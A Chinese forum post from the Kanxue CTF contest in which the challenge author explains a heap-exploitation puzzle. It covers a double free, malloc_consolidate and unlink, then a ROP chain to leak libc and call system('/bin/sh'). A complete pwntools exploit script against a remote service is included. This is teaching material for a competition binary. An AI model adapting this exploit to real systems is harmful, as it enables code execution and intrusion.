首页
社区
课程
招聘
[原创] 看雪CTF第四题 设计思路
2017-6-9 14:18 5252

[原创] 看雪CTF第四题 设计思路

2017-6-9 14:18
5252

考点:

malloc_consolidate+unlink+rop

运行环境:

1. amd64(作者本地测试为kali,远程测试环境为ubuntu16.04),无libc要求,已经上传远程测试libc

2. 开启aslr

编译方式:gcc -no-pie main.c -o main ; strip main

题目说明:

1. 题目可以给出bin与libc供下载,也可以仅给出bin文件,通过查找libc-db的方式找到对应libc版本号(作为一只pwn狗,建议给出libc,省去大家查libc的浪费的生命。。QAQ都是血泪史)


设计思路:

1. 首先给用户输入姓名,此时以malloc一个chunk的方式存储用户的输入

2. 给了4个功能,create、delete、edit、show,其中show功能无效

3. create函数可以申请一个小于4096字节的chunk,并往里面写入数据,然后置flag位为1,同时用一个全局变量number来记录已申请的chunk个数,number不得大于4.

4. delete函数可以free一个指针并置flag位为0,但是不检查是否已经free这个指针

5. edit检查flag位,只能修改已经flag为1的chunk

6. 数据结构如下


漏洞点:

1. uaf,在dele一个指针后没有清零,可以再次free这个freed的指针

2. 漏洞什么的。。应该没了吧。。


漏洞利用:

1. 主要利用fastbin的malloc_consolidate这个函数来造成unlink,后面再布置栈构造ropchain即可。

2. 在申请large bin的时候,会将freed fastbin的inuse位清零,同时进行合并,将合并后的堆块放入unsortbins中。然后遍历unsortbins,按照大小分别放入smallbins和largebins中。

3. 这时利用uaf,free一个fastbin,也就是我们刚才申请的0x30大小的块,将它链入fastbins的单向链表中。因为当我们从fastbins中分配不会置后一个chunk的inuse位为1,但是由于之前的malloc_consolidate已经使得该fastbin的后一个chunk的inuse位为0,所以造成一个矛盾,是的我们能够unlink

4. 分配一个0x20大小的chunk,置后一个chunk的presize位为我们刚才分配的fastbin的大小,为unlink做准备,0x20会从之前合并的smallbins中切割,然后该smallbins移到unsortbins中,并成为last_remainder。

5. 修改0x30的fastbin,并填充unlink的payload,再在之后分配一个smallbin大小的chunk,使得unsortbin中的chunk移到smallbins(因为unsortbins有一个check,会检查第一个chunk的bk是否指向unsortbin的头),最后delete触发unlink。

6. 接下来的事情就简单了,修改fflush的got表为add rsp 8; ret的gadget,然后用rop泄露libc基址,最后修改free_got为system即可。

7. free一个事先写好/bin/sh\0的chunk拿shell即可。


PS:

因为可以malloc任意大小,还有uaf,漏洞略大,但已经尽力避免未预料解法了。。选中的话希望不要被师傅们秒掉。。

PPS:

好像国内的CTF还没见过考malloc_consolidate的。。也可能我比赛打的少了XD


#!/usr/bin/env python
# coding=utf-8
from pwn import *
slog = 0
local = 0
debug = 0
global p
global libc
if slog: context(log_level = 'debug')
if local and debug:
    gdb.attach(p, open('debug'))
def makeio(local):
    if local:
        p = process('./main')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        p = remote('211.159.216.90', 51888)
        libc = ELF('./ctflibc.so.6')
    return p, libc
def create(size, cun, content='\x00'):
    p.recvuntil("$")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil('cun\n')
    p.sendline(str(cun))
    p.recvuntil('content\n')
    p.send(content)
def dele(cur):
    p.recvuntil("$")
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(cur))
def edit(cur, content):
    p.recvuntil('$')
    p.sendline(str(3))
    p.recvuntil('edit\n')
    p.sendline(str(cur))
    p.recvuntil('content')
    p.send(content)
got_fflush = 0x000000000602048
plt_free = 0x4006c0
plt_puts = 0x4006d0
got_free = 0x0000000000602018
pr = 0x0000000000400da3
ar = 0x00000000004006aa
main_addr = 0x400c9e
def pwn(p):
    p.recvuntil("$ ")
    p.send("Ree")
    create(0x10, 0, '/bin/sh\x00')
    create(0x30, 1)
    create(0xa0, 2)
    dele(0)
    dele(1)
    create(0x400, 3) # merge fastbins to smallbin
    dele(1)
    create(0x30, 4, '/bin/sh\x00')
    create(0x20, 3, cyclic(0x20))
    create(0xb0, 0)
    edit(4, '/bin/sh\0' + p64(0x1) + p64(0x602120-0x18) + p64(0x602120-0x10))
    dele(2)          # unlink
    edit(4, p64(0x1) + p64(got_free) + p64(0x1) + p64(got_fflush))
    edit(4, p64(ar))
    create(0x70, 0, p64(pr) + p64(got_free) + p64(plt_puts) + p64(main_addr))
    free_addr = u64(p.recv(6) + "\0\0")
    print "free_addr => ", hex(free_addr)
    libc.address = free_addr - libc.symbols['free']
    print 'libc.address => ', hex(libc.address)
    system_addr = libc.symbols['system']
    print 'system_addr => ', hex(system_addr)
    edit(3, p64(system_addr))
    dele(1)

if __name__ == '__main__':
    p, libc = makeio(local)
    pwn(p)
    p.interactive()


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 28297
活跃值: (6716)
能力值: ( LV15,RANK:3306 )
在线值:
发帖
回帖
粉丝
风间仁 19 2017-6-9 17:36
2
0
好精简啊..
雪    币: 208
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
elike 2017-11-10 17:27
3
0
请教
pr  =  0x0000000000400da3
ar  =  0x00000000004006aa  这些值表示什么意思,如何得到?
游客
登录 | 注册 方可回帖
返回